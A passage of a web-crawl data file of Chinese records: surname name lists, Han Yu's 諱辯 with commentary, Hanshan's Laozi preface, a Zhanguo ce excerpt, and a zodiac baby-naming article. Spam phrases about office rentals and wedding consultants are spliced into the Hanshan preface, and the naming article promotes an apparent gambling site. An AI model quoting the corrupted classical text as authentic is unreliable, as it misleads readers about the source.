魏楚悦 魏川娟 魏传琴 魏传蓉 魏传英 魏春芳 魏春芬 魏春红 魏春莉 魏春丽 魏春玲 魏春梅 魏春娜 魏春萍 魏春茹 魏春文 魏春霞 魏春雪 魏春艳 魏春燕 魏春瑶 魏春英 魏春莹 魏春颖 魏春玉 魏椿婷 魏纯莉 魏纯丽 魏辞芳 魏聪丽 魏聪瑶 魏聪颖 魏丛颖 魏脆茹 魏翠红 魏翠娟 魏翠丽 魏翠玲 魏翠娜 魏翠萍 魏翠婷 魏翠霞 魏翠颖 魏存红 魏达娟 魏大莉 魏大丽 魏代芬 魏代红 魏代玉 魏玳琳 魏黛婵 魏丹芳 魏丹萍 魏丹琴 魏丹霞 魏丹瑶 魏丹莹 魏丹玉 魏单瑶 魏聃芳 魏德红 魏德花 魏德玲 魏德琼 魏德蓉 魏德文 魏德霞 魏德英 魏德颖 魏登花 魏登梅 魏点蓉 魏蝶瑶 魏蝶媛 魏鼎文 魏定琴 魏东芳 魏东梅 魏东婷 魏东艳 魏东燕 魏冬莉 魏冬丽 魏冬玲 魏冬萍 魏冬婷 魏冬霞 魏冬雪 魏冬瑛 魏敦琳 魏恩琳 魏恩霞 魏尔娅 魏二红 魏发文 魏法红 魏凡芬 魏凡娟 魏凡玲 魏凡萍 魏凡婷 魏凡秀 魏凡媛 魏范娟 魏方丽 魏方玲 魏方燕 魏坊玲 魏芳芳 魏芳玲 魏芳萍 魏芳琼 魏芳燕 魏房英 魏飞娥 魏飞霞 魏飞雪 魏飞艳 魏飞燕 魏飞莹 魏菲琳 魏菲莹 魏芬草 魏芬芳 魏芬秀 魏丰蓉 魏风娟 魏枫芳 魏枫娟 魏凤娟 魏凤玲 魏凤梅 魏凤琴 魏凤琼 魏凤婷 魏凤霞 魏凤英 魏伏霞 魏芙蓉 魏福芳 魏福莉 魏福梅 魏福琼 魏福霞 魏福英 魏馥丽 魏馥萍 魏伽文 魏改琴 魏高洁 魏高英 魏镐怡 魏葛倩 魏铬怡 魏观蓉 魏鹳蓉 魏光婵 魏光红 魏光洁 魏光妹 魏光雪 魏光玉 魏光悦 魏广玲 魏广梅 魏广妹 魏广琼 魏广文 魏瑰瑶 魏贵芬 魏贵玲 魏贵萍 魏桂芳 魏桂芬 魏桂花 魏桂玲 魏桂琴 魏桂英 魏郭玉 魏国芳 魏国红 魏国娟 魏国琳 魏国玲 魏国萍 魏国琴 魏国文 魏国英 魏国玉 魏国媛 魏帼秀 魏海芬 魏海红 魏海娟 魏海莉 魏海丽 魏海玲 魏海梅 魏海娜 魏海萍 魏海琴 魏海琼 魏海蓉 魏海茹 魏海婷 魏海霞 魏海艳 魏海燕 魏海瑶 魏海英 魏含芳 魏含燕 魏含怡 魏涵婧 魏涵琳 魏涵文 魏涵颖 魏涵悦 魏焓秀 魏寒梅 魏汉文 魏菡茹 魏翰文 魏翰秀 魏瀚秀 魏好芳 魏好妹 魏好瑶 魏昊冉 魏浩芳 魏浩冉 魏浩英 魏皓洁 魏皓冉 魏皓文 魏禾美 魏和娟 魏和美 魏荷花 魏荷玲 魏贺琳 魏贺妍 魏鹤琳 魏恒芳 魏蘅雪 魏弘红 魏弘梅 魏弘瑶 魏弘颖 魏红芳 魏红红 魏红洁 魏红娟 魏红莉 魏红丽 魏红玲 魏红梅 魏红美 魏红娜 魏红萍 魏红琴 魏红艳 魏红燕 魏红英 魏宏芳 魏宏红 魏宏梅 魏宏燕 魏宏瑶 魏泓红 魏泓梅 魏泓英 魏洪红 魏洪洁 魏洪玲 魏洪梅 魏洪琴 魏洪文 魏洪艳 魏洪颖 魏洪玉 魏荭红 魏虹梅 魏虹瑶 魏虹英 魏鸿芳 魏鸿红 魏鸿丽 魏鸿梅 魏鸿茹 魏鸿文 魏鸿燕 魏鸿瑶 魏鸿英 魏讧红 魏后娟 魏厚雪 魏厚玉 魏花花 魏华红 魏华丽 魏华梅 魏华文 魏华艳 魏华悦 魏怀英 魏环琴 魏焕玲 魏焕玉 魏皇红 魏晖芳 魏晖玉 魏珲琴 魏辉丽 魏茴婷 魏汇文 魏会芳 魏会芬 魏会娟 魏惠芳 魏惠红 魏惠洁 魏惠娟 魏惠丽 魏惠琳 魏惠玲 魏惠萍 魏惠琴 魏惠琼 魏惠茹 魏惠文 魏惠燕 魏惠瑶 魏惠英 魏惠颖 魏惠玉 魏慧娥 魏慧芳 魏慧红 魏慧琳 魏慧玲 魏慧美 魏慧萍 魏慧婷 魏慧文 魏慧霞 魏慧瑶 魏慧英 魏慧颖 魏慧玉 魏慧媛 魏吉娜 魏吉文 魏记芳 魏济文 魏继娥 魏继红 魏继娜 魏继燕 魏加丽 魏加琳","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-s1-30-2.html","date":"2021-09-21T11:37:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00474.warc.gz","language":"lzh","language_score":0.9968292713,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9968292713165283}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"羌蝴蝶之可憙兮,纷化育乎阳和。二角六足,蠕腹状蛾,脉绀缕以元翅,点赭珠以缃窠。凌猎兰蕊,嘘吸蕙葩,飞将进而又退兮,含百态以委蛇。岂绵舞而不懈兮,柰众芳其铄何?图君子之翠屏,俪彩族而星罗。蒙左右之深赏,况梦寐之所嘉。","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/zh.wikisource.org\/zh-hans\/%E8%9D%B4%E8%9D%B6%E8%B3%A6","date":"2021-09-21T03:11:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057131.88\/warc\/CC-MAIN-20210921011047-20210921041047-00634.warc.gz","language":"lzh","language_score":0.6040446758,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6040446758270264, \"cmn_Hani_score\": 0.2472987174987793, \"jpn_Jpan_score\": 0.033603642135858536, \"wuu_Hani_score\": 0.022631671279668808, \"nan_Hani_score\": 0.016827575862407684, \"yue_Hani_score\": 0.015885360538959503}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.579,"perplexity_score":500.0,"cluster_detection":1} +{"text":"*據中華書局《古文觀止(全二冊)》(1959年9月第1版 2013年8月北京第24次印刷)訂正\n諱辯 韓愈\n愈與李賀書、勸賀舉進士。賀舉進士有名、與賀爭名者毀之。曰、賀父名晉肅、賀不舉進士爲是、勸之舉者爲非。欲奪賀名、故毀之如此。聽者不察也、和去聲、而倡之、同然一辭。一時俗人爲其所惑。皇甫湜寔、曰、若不明白、子與賀且得罪。言公若不辨明、必見咎于賀也。 ○此段敍公作辨之由。愈曰、然。先用一然字接住。下方起。律曰、二名不偏諱。釋之者曰、謂若言徵不稱在、言在不稱徵是也。孔子母名徵在、言在不稱徵、言徵不稱在。律曰、不諱嫌名。釋之者曰、謂若禹與雨、邱與蓲丘、之類是也。謂其聲音相近。今賀父名晉肅、賀舉進士、上引律文、此入敍事。爲犯二名律乎、爲犯嫌名律乎。賀父名進肅、律尚不偏諱。今賀父名晉肅、律豈諱嫌者乎。 ○此二句設疑問之、不直說破不犯諱。妙。父名晉肅、子不得舉進士。若父名仁、子不得爲人乎。嫌名獨生一腳作波瀾。奇極。夫諱始於何時、作法制以教天下者、非周公孔子歟。周公作詩不諱、謂文王名昌、武王名發。若曰克昌厥後、又曰駿發爾私。孔子不偏諱二名、若曰宋不足徵、又曰某在斯。春秋不譏不諱嫌名。若衛桓公名完。康王釗昭、之孫、實爲昭王。康王名釗。曾參之父名晳、曾子不諱昔。若曰昔者吾友。 ○此言周公孔子皆作諱禮之人、亦有所不諱者。然周公只是一句、孔子却是四句。蓋春秋爲孔子之書、曾子爲孔子之徒也。康王釗句、又只在春秋句中、所謂文章虛實繁省之法也。周之時有騏期、漢之時有杜度、此其子宜如何諱、將諱其嫌、遂諱其姓乎、將不諱其嫌者乎。此又設疑問之、不說破。妙。漢諱武帝名徹爲通、謂徹侯爲通侯、蒯徹爲蒯通之類。不聞又諱車轍之轍爲某字也。諱呂后名雉爲野雞、呂后、漢高帝后。不聞又諱治天下之治爲某字也。今上章及詔、不聞諱滸虎、勢秉機也。滸勢秉機、爲近太祖太宗世祖玄宗廟諱也。蓋太祖名虎、太宗名世民、世祖名昞、玄宗名隆基。惟宦官宮妾、乃不敢言諭及機、以爲觸犯。以諭爲近代宗廟諱、以機爲近玄宗廟諱、代宗諱豫、玄宗諱見上。 ○此段全是不諱嫌名事、乃用宦官宮妾諱嫌名承上、極有勢。士君子立言行事、宜何所法守也。將要收歸周孔曾參事、且問起何所法守句、已含周孔曾參意。今考之於經、指上文詩與春秋。質之於律、指上文二律。稽之以國家之典、指上文漢諱武帝三段。賀舉進士爲可邪、爲不可邪。倒底是一疑案、不直說破。凡事父母、得如曾參、可以無譏矣。作人得如周公孔子、亦可以止矣。一轉、忽作餘文。以文爲戲、以文爲樂。今世之士、指倡和人。不務行曾參周公孔子之行、而諱親之名、則務勝於曾參周公孔子、亦見其惑也。二轉。夫周公孔子曾參、卒不可勝。勝周公孔子曾參、乃比於宦官宮妾。三轉。則是宦官宮妾之孝於其親、賢於周公孔子曾參者邪。四轉。 ○一齊收捲上文。不用辨折、愈轉愈緊、愈不窮。\n前分律經典三段、後尾抱前、婉鬯顯快。反反覆覆、如大海回風、一波未平、一波復起。盡是設疑兩可之辭、待智者自擇、此別是一種文法。","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/neodu.com\/%E3%80%8A%E8%AB%B1%E8%BE%AF%E3%80%8B%E7%B9%81%E9%AB%94%E5%AD%97%E7%89%88.html","date":"2021-10-16T05:49:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323583423.96\/warc\/CC-MAIN-20211016043926-20211016073926-00105.warc.gz","language":"lzh","language_score":0.4365391135,"language_script":"Hani","minhash_cluster_size":14,"top_langs":"{\"lzh_Hani_score\": 0.4365391135215759, \"cmn_Hani_score\": 0.2966846525669098, \"nan_Hani_score\": 0.058133337646722794, \"jpn_Jpan_score\": 0.046540744602680206, \"zxx_Latn_score\": 0.027415452525019646, \"wuu_Hani_score\": 0.02561495453119278, \"yue_Hani_score\": 0.017417361959815025}","num_words":11,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.436,"perplexity_score":500.0,"cluster_detection":1} +{"text":"師者,傳道受業解惑也。今雖傳道受業解惑,亦別以小學、大學。\n夫小學之師者,曰有教無類。其所教者稚子,所授者仁義。仁義者,雖愚智皆修之也,故曰有教無類。稚子去父母,入庠序,始日與人處,而不知何以處之,故學於師。師者,教之仁,導之義。待其長,則知自愛也當厚,愛人也當週。雖厚而不專,雖周而不隨,可謂仁義矣,其學於師者也。\n夫大學之師者,曰非其人不傳。何謂其人哉?適之者也。適於理者學於理,適於工者學於工,師者攜其技而教之。得其適者則授,不得其適者則不授。故擇之於本科,复拔之於碩士、博士。學者之技成,可入於世,效於百業,而自存於天下。技者,師之所授也。","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/zh-classical.wikipedia.org\/wiki\/%E6%95%99%E5%B8%AB","date":"2023-10-01T16:04:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510903.85\/warc\/CC-MAIN-20231001141548-20231001171548-00167.warc.gz","language":"lzh","language_score":0.4824700654,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4824700653553009, \"cmn_Hani_score\": 0.45900094509124756, \"wuu_Hani_score\": 0.021167803555727005, \"nan_Hani_score\": 0.021106714382767677, \"yue_Hani_score\": 0.01130501739680767}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.567,"perplexity_score":500.0,"cluster_detection":1} +{"text":"老子道德經 憨山注言 < 老子道德經憨山注 > 注道德經序 . . 予少喜讀老莊、苦不解義。惟所領會處、想見其精神命脈、故略得離言之旨。及 搜諸家注釋則多以己意為文、若與之角、則義愈晦。及熟玩莊語、則於老恍有得 焉。因謂注乃人人之老莊、非老莊之老莊也。以老文簡古而旨幽玄、則莊實為辦公室出租之 注疏。苟能懸解、則思過半矣。空山禪暇、細玩沉思、言有會心、即托之筆。必 得義遺言、因言以見義。或經旬而得一語、或經年而得一章。始于東海、以至南 粵、自壬辰以至丙午、周十五年乃能卒業。是知古人立言之不易也。以文太簡、 故不厭貫通、要非枝也。嘗謂儒宗堯舜、以名為教、故宗于仁義。老宗辦公室出租軒黃、道 重無為、如雲失道德而後仁義。此立言之本也。故莊之誹薄、殊非大言、以超俗 之論則駭俗、故為放而不收也。當仲尼問禮、則歎為猶龍、聖不自聖、豈無謂哉 。故老以無用為大用、苟以之經世、則化理治平、如指諸掌。尤以無為為宗極、 性命為真修。即遠世遺榮、殆非矯矯。苟得其要、則真妄之途、買屋雲泥自別。所謂 真以治身、緒餘以為天下國家、信非誣矣。或曰、子之禪、貴忘言、乃嘵嘵於世 諦、何所取大耶。予曰、不然。鴉鳴鵲噪、鹹自天機。蟻聚蜂遊、都歸神理。是 則何語非禪、何法非道。況釋智忘懷之談、詎非入禪初地乎。且禪以我蔽、故破 我以達禪、老則先登矣。若夫玩世蜉蝣、尤當以此為樂土婚禮顧問矣。注成、始刻於嶺南 。重刻於五雲南嶽與金陵。今則再刻于吳門。以尚之者眾、故施不厭普矣。 * 提法子 * . 恭錄 .","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/mj43mjvhsu.pixnet.net\/blog\/archives\/201310","date":"2017-07-28T02:49:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549436321.71\/warc\/CC-MAIN-20170728022449-20170728042449-00466.warc.gz","language":"lzh","language_score":0.7048929334,"language_script":"Hani","minhash_cluster_size":21,"top_langs":"{\"lzh_Hani_score\": 0.7048929333686829, \"cmn_Hani_score\": 0.18112213909626007, \"wuu_Hani_score\": 0.021906383335590363, \"nan_Hani_score\": 0.02082694135606289, \"yue_Hani_score\": 0.019994152709841728, \"jpn_Jpan_score\": 0.018220724537968636}","num_words":22,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.197,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.705,"perplexity_score":500.0,"cluster_detection":1} +{"text":"謂齊王\n謂齊王曰:「王何不以地齎周最以為太子也。」齊王令司馬悍以賂進周最于周。左尚謂司馬悍曰:「周不聽,是公之知困而交絕于周也。公不如謂周君曰:『何欲置?令人微告悍,悍請令王進之以地。』」左尚以此得事。","id":"","dump":"CC-MAIN-2017-43","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/043.htm","date":"2017-10-18T16:29:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823016.53\/warc\/CC-MAIN-20171018161655-20171018181655-00173.warc.gz","language":"lzh","language_score":0.6618283391,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.661828339099884, \"cmn_Hani_score\": 0.32195770740509033}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.746,"perplexity_score":500.0,"cluster_detection":1} +{"text":"革命的记忆在结满红枣的庄园上播下种子——枣庄——纪念着台儿庄大战的喜悦,也承载着红枣石榴的丰收热情。\n想去0\n去过0\n济南旅游指南 青岛旅游指南 淄博旅游指南 东营旅游指南 烟台旅游指南 潍坊旅游指南 济宁旅游指南 泰安旅游指南 威海旅游指南 日照旅游指南 莱芜旅游指南 临沂旅游指南 德州旅游指南 聊城旅游指南 滨州旅游指南 菏泽旅游指南","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/zaozhuang.cncn.com\/info\/9193\/","date":"2018-03-22T04:15:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647768.45\/warc\/CC-MAIN-20180322034041-20180322054041-00254.warc.gz","language":"lzh","language_score":0.4830179214,"language_script":"Hani","minhash_cluster_size":37,"top_langs":"{\"lzh_Hani_score\": 0.4830179214477539, \"cmn_Hani_score\": 0.4528357684612274, \"jpn_Jpan_score\": 0.022670576348900795, \"yue_Hani_score\": 0.021353548392653465, \"nan_Hani_score\": 0.012012067250907421}","num_words":19,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.557,"perplexity_score":500.0,"cluster_detection":1} +{"text":"王秋烁 王红烁 王添娅玺俐璐雅轶以英涛贞溪露莎\n王秋烁 王红烁 王添烁 王娅烁 王玺烁 王俐烁 王璐烁 王雅烁 王轶烁 王以烁 王英烁 王涛烁 王贞烁 王溪烁 王露烁 王莎烁 王斐烁 王乐烁 王丹烁 王林烁 王千烁 王茹烁 王果烁 王悠烁 王碧烁 王修烁 王冬烁 王若烁 王紫烁 王亭烁 王瑞烁 王淇烁 王双烁 王汇烁 王曼烁 王函烁 王肖烁 王君烁 王熙烁 王茜烁 王阳烁 王晶烁 王博烁 王其烁 王棠烁 王水烁 王美烁 王孜烁 王波烁 王士烁 王华烁 王柳烁 王弋烁 王又烁 王思烁 王诗烁 王荣烁 王启烁 王斯烁 王爽烁 王宁烁 王胜烁 王艳烁 王长烁 王菁烁 王德烁 王沅烁 王智烁 王淑烁 王瑶烁 王彦烁 王琼烁 王琬烁 王浩烁 王育烁 王颖烁 王汝烁 王成烁 王云烁 王佩烁 王冰烁 王毓烁 王玥烁 王筠烁 王安烁 王玫烁 王然烁 王忻烁 王会烁 王芮烁 王春烁 王珈烁 王楠烁 王治烁 王霞烁 王和烁 王修烁 王瑷烁 王清烁 王妤烁 王灿烁 王语烁 王津烁 王琴烁 王爱烁 王有烁 王梓烁 王培烁 王昭烁 王芳烁 王寒烁 王彩烁 王珏烁 王微烁 王健烁 王蓓烁 王玮烁 王懿烁 王可烁 王永。","id":"","dump":"CC-MAIN-2018-47","url":"https:\/\/www.54hulan.com\/loo888guanfangwangzhan\/332.html","date":"2018-11-17T17:43:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039743717.31\/warc\/CC-MAIN-20181117164722-20181117190722-00455.warc.gz","language":"lzh","language_score":0.98573035,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9857303500175476, \"cmn_Hani_score\": 0.013125773519277573}","num_words":123,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":1} +{"text":"今天小编为大家带来独特观点:2017年秦姓男孩名字大全,好听的男孩名字大全2017属鸡。关注独特观点的朋友们欢迎阅读本文哦,更多资讯尽在极速飞艇计划招生网,敬请阅读和关注。\n2017年秦姓男孩名字大全\n秦爱腾 秦爱学 秦蔼纲 秦蔼函 秦蔼好 秦蔼峦 秦蔼卯 秦蔼争 秦岸葛 秦岸今 秦岸岩 秦八竞 秦八伦 秦八燃 秦八虞 秦巴壬 秦巴添 秦巴叶 秦巴亿 秦百震 秦佰奖 秦佰鹭 秦佰桃 秦佰旭 秦伴简 秦伴垣 秦伴泾 秦帮骋 秦帮锋 秦帮衡 秦帮僚 秦帮岳 秦榜钞 秦榜司 秦保倡 秦保黎 秦保睦 秦保形 秦豹樊 秦豹添 秦豹肖 秦豹学 秦豹友 秦豹榆 秦豹仔 秦北超 秦北匀 秦北酌 秦北禅 秦钡竣 秦钡攀 秦钡翼 秦钡昼 秦钡筝 秦倍堡 秦倍达 秦倍盛 秦倍梧 秦倍赢 秦焙鸥 秦焙图 秦焙嵩 秦陛堡 秦边尔 秦边明 秦边旋 秦边兮 秦标静 秦标峦 秦标诵 秦标员 秦斌奥 秦斌柠 秦斌晰 秦斌昭 秦斌征 秦滨戈 秦滨慷 秦滨莫 秦滨义 秦滨元 秦滨源 秦滨昭 秦滨钟 秦滨旎 秦缤堡 秦缤波 秦缤慷 秦缤耘 秦缤嵛 秦丙丰 秦丙探 秦丙学 秦舶风 秦舶览 秦舶铭 秦舶沐 秦舶骐 秦舶骐 秦搏仔 秦伯集 秦伯磊 秦伯维 秦伯雍 秦伯筝 秦帛敏 秦帛宸 秦泊榆 秦泊垣 秦泊茆 秦步鹤 秦步司 秦步扬 秦材高 秦材今 秦材涞 秦材荞 秦材迦 秦财骢 秦财钢 秦财集 秦财竞 秦财酌 秦财胤 秦参菠 秦参盟 秦参旋 秦参洹 秦舱今 秦舱竞 秦舱莫 秦舱浦 秦舱希 秦舱岩 秦策功 秦策弦 秦册家 秦册探 秦册招 秦册浔 秦尝安 秦尝鸿 秦尝享 秦尝贞 秦敞怀 秦敞谋 秦超科 秦超渺 秦超宁 秦超骐 秦超章 秦超致 秦超杞 秦澄波 秦澄超 秦澄远 秦骋佰 秦骋剑 秦骋庆 秦骋燃 秦骋殊 秦骋岷 秦弛虫 秦弛钢 秦弛贯 秦弛粱 秦弛沃 秦尺宏 秦尺弘 秦尺敏 秦尺镇 秦尺箫 秦翅道 秦翅火 秦翅克 秦翅粱 秦翅也 秦翅翼 秦翅云 秦翅证 秦翅组 秦翅瓒 秦炽绰 秦炽造 秦炽骞 秦炽杞 秦崇攀 秦崇时 秦崇助 秦初桓 秦初谨 秦初术 秦初维 秦创萌 秦创冕 秦创侠 秦创选 秦创昭 秦春格 秦春贯 秦春过 秦春栎 秦春筝 秦淳储 秦淳刊 秦淳行 秦淳禹 秦绰良 秦绰灶 秦磁颢 秦磁龙 秦磁业 秦磁毅 秦聪岗 秦聪涣 秦聪陌 秦聪武 秦聪衷 秦骢弦 秦骢尹 秦骢远 秦骢诠 秦存宾 秦存昆 秦存闻 秦存晖 秦代敖 秦代戴 秦代季 秦代剑 秦代谨 秦岱健 秦岱南 秦岱然 秦岱庭 秦岛佰 秦岛铭 秦岛衷 秦道樊 秦道涵 秦道翰 秦道文 秦德夫 秦德过 秦德冕 秦德业 秦登才 秦登徽 秦登冕 秦登南 秦登泳 秦登兮 秦笛季 秦笛舰 秦笛立 秦笛粱 秦笛毅 秦笛泳 秦笛禺 秦笛镖 秦蒂瑞 秦蒂现 秦蒂怿 秦迭楚 秦东当 秦东杭 秦东邑 秦东榆 秦东雨 秦东浔 秦东寰 秦冬崃 秦冬翼 秦冬旨 秦兑壕 秦兑衷 秦兑濠 秦发波 秦发健 秦帆搏 秦帆道 秦帆衡 秦帆弘 秦番昆 秦番值 秦番洵 秦樊戴 秦樊含 秦樊振 秦范静 秦范湃 秦范梧 秦范谚 秦范誉 秦范嵩 秦枫菊 秦枫围 秦蜂创 秦蜂威 秦蜂菘 秦蜂戟 秦烽广 秦烽绚 秦服道 秦服管 秦服杭 秦服家 秦服简 秦服伦 秦服巍 秦甫钧 秦甫鹭 秦甫升 秦甫茁 秦甫禅 秦傅淮 秦傅良 秦傅士 秦傅堂 秦傅羡 秦阜澈 秦阜干 秦阜火 秦阜炫 秦概洱 秦概鸥 秦刚堂 秦钢旋 秦钢瑭 秦岗涵 秦岗敏 秦岗中 秦岗浔 秦高绰 秦高径 秦高水 秦高晖 秦歌戈 秦歌克 秦歌来 秦歌毅 秦歌子 秦歌杞 秦鸽怀 秦鸽经 秦鸽竞 秦鸽克 秦鸽立 秦鸽声 秦鸽堂 秦鸽添 秦鸽子 秦更爵 秦更欧 秦更岩 秦功聪 秦功杭 秦供扬 秦供苕 秦供瓒 秦供昶 秦弓敖 秦弓启 秦巩伦 秦巩彰 秦巩荞 秦贡蜂 秦贡吉 秦贡士 秦贡琮 秦共奇 秦官简 秦官静 秦官莫 秦官喻 秦冠创 秦冠浩 秦冠亦 秦冠旨 秦冠圳 秦灌漠 秦灌骐 秦灌现 秦灌乙 秦灌彰 秦灌衷 秦贯鹭 秦贯渺 秦贯誊 秦贯玮 秦广涵 秦广平 秦广旨 秦广衷 秦广杞 秦广筝 秦桂革 秦桂壕 秦桂鹰 秦国庚 秦国臻 秦韩聪 秦韩科 秦韩浦 秦韩述 秦韩垣 秦含谷 秦含矿 秦含跃 秦含栎 秦涵组 秦涵琰 秦涵晗 秦寒敖 秦寒慷 秦寒垒 秦寒铨 秦寒添 秦寒巍 秦瀚玖 秦瀚寺 秦瀚争 秦汗梆 秦汗波 秦汗充 秦汗宁 秦汗午 秦汗乙 秦汗咏 秦汗峄 秦航傅 秦航园 秦航员 秦航琮 秦壕莱 秦壕守 秦壕形 秦壕早 秦壕尊 秦壕峄 秦衡鹤 秦衡淮 秦衡均 秦衡涞 秦衡卯 秦衡权 秦衡侠 秦弘浚 秦弘崎 秦弘铨 秦弘禅 秦虎呈 秦虎僚 秦虎云 秦虎至 秦户虫 秦户蜂 秦户迦 秦户琨 秦华根 秦华函 秦华克 秦华尹 秦华咏 秦华涌 秦画然 秦画士 秦画熙 秦画灼 秦化过 秦化奖 秦化嵛 秦话刊 秦话羽 秦话泾 秦槐贺 秦槐槐 秦槐屹 秦槐匀 秦槐杪 秦淮钢 秦淮粱 秦环庚 秦环环 秦环玖 秦环鸣 秦环桃 秦环爻 秦桓福 秦桓嵘 秦桓恕 秦桓享 秦桓昭 秦桓争 秦桓至 秦回镇 秦回晟 秦会菠 秦会冬 秦汇寺 秦汇瓒 秦基粱 秦基绚 秦基右 秦基虞 秦激夫 秦激瑶 秦激涌 秦激琨 秦吉贺 秦吉廷 秦吉运 秦吉琨 秦吉晟 秦极集 秦极敏 秦极昭 秦极征 秦极岷 秦极峄 秦计槐 秦计集 秦计盟 秦计时 秦纪沧 秦纪宫 秦纪攀 秦纪悟 秦嘉肖 秦嘉俞 秦佳鸿 秦佳简 秦佳桨 秦佳浦 秦佳旗 秦佳诠 秦加淮 秦加乐 秦加渝 秦贾粱 秦贾其 秦贾添 秦贾镇 秦坚田 秦坚形 秦坚誉 秦坚员 秦兼爻 秦建览 秦建普 秦建享 秦建友\n2017属鸡秦姓男孩取名宜忌\n属鸡宝宝取名宜用字:\n1、宜用\"禾\"、\"豆\"、\"米\"等字。鸡是吃五谷杂粮的,名字里加入这些字,寓意着粮食丰盛,不缺吃穿,福寿无边。\n2、宜用带\"山\"的字。鸡在山头上,升格为凤凰,代表着具有智慧、事业有成。\n3、宜用带有\"乡\"、\"采\"、\"纟\"偏旁的字。鸡的羽毛漂亮,披锦戴冠,传统认为可以增加运势,前途广阔,名利双收。\n4、起名宜用有\"金鸡独立\"字形的字。\"金鸡独立代表鸡很健康,有活力。起名时用上这些字,寓意着智勇双全,有所作为。比如:中、华、率、节、本。鸡年新生儿起名可以取华生、忠信等。\n5、起名宜用抬头的字形。鸡昂首阔步代表健康,名字中能加入抬头的字,寓意着增加福气,健康顺利。比如:有、右、存、白。\n6、宜用带宝盖头的字。带宝盖头的字,寓意着有屋有宅,福禄双全。\n7、起名宜用有\"巳\"、\"丑\"、\"辰\"的字。酉(鸡)与辰(龙)为六合,与巳(蛇)、丑(牛)为三合,名字中加入这些字,寓意着有贵人帮助,万事顺利。\n属鸡宝宝取名忌用字:\n1、属鸡之人最怕见到与其对冲之字形,因鸡为酉,卯与酉对冲,所以凡是有\"卯\"之字形或字义均不可犯之。如犯之,则伤害大,刑伤、生病难免。卯之字义可推及东方辽宁月,兔均属之,因卯居东方,酉居西方,东酉对冲,所以有\"东\"、\"月\"、\"兔\"之字形也不可用。如:卯、柳、仰、昂、勉、逸、卿、东、栋、陈、月、朋、青、清、晴、胜、有、朗、望、朔、朝、期、本。\n2、属鸡之人不喜见到\"金\"之字形,因鸡为酉金,但五行中,金与金组合过重,容易犯冲金属杀伐之意,\"金\"之字意还有\"西\"、\"兑\"、\"申\"、\"秋\"、\"酉\"均属之。如:金、钊、钧、铭、锐、锋、钱、钟、镇、秋。\n3、属鸡的人不喜见到有\"心\"、\"忄\"、\"月\"之字形,因以上字形代表一块肉的意思,但鸡为素食动物,不食荤肉,若给其肉食,会让其心不服输,不满意,失望但又无可奈何。如:志、忸、忻、忠、念、怡、思、恒、恬、慧、态、怀、懿、肯、肴、胥、胡、能、修。\n4、属鸡之人不喜有\"大\"、\"君\"、\"帝\"、\"王\"字形,因鸡长大往往被作祭品,或为人食用,一生多为别人付出多。如:奇、奏、奋、君、群、帝、玉、玫、玟、玳、珉、珊、珠、球琦、琪、琴、瑛、莹、瑶、璞、环、琼。\n5、属鸡之人不喜有字形脚分开者,因为鸡的脚如果分开,代表病鸡,不健康也,鸡能够金鸡独立最佳,不喜见到分叉的脚。如:文、亮、元、充、先、光、克、共、烘。\n6、属鸡之人不喜见到有\"犬\"、\"犭\"、\"戌\"字形,因\"犬\"与\"犭\"、\"戌\"为狗之意,因地支酉与戌为六害,古云:\"金鸡遇犬泪双流。\"意味着狗会追咬鸡,鸡犬不宁之意。如:状、锹、狮、猛、犹、猷、独、献、茂、成、盛、威。\n7、属鸡之人不宜见有太多\"口\"之名字,容易七嘴八舌。成为长舌妇,鸡婆也,好管闲事,易生是非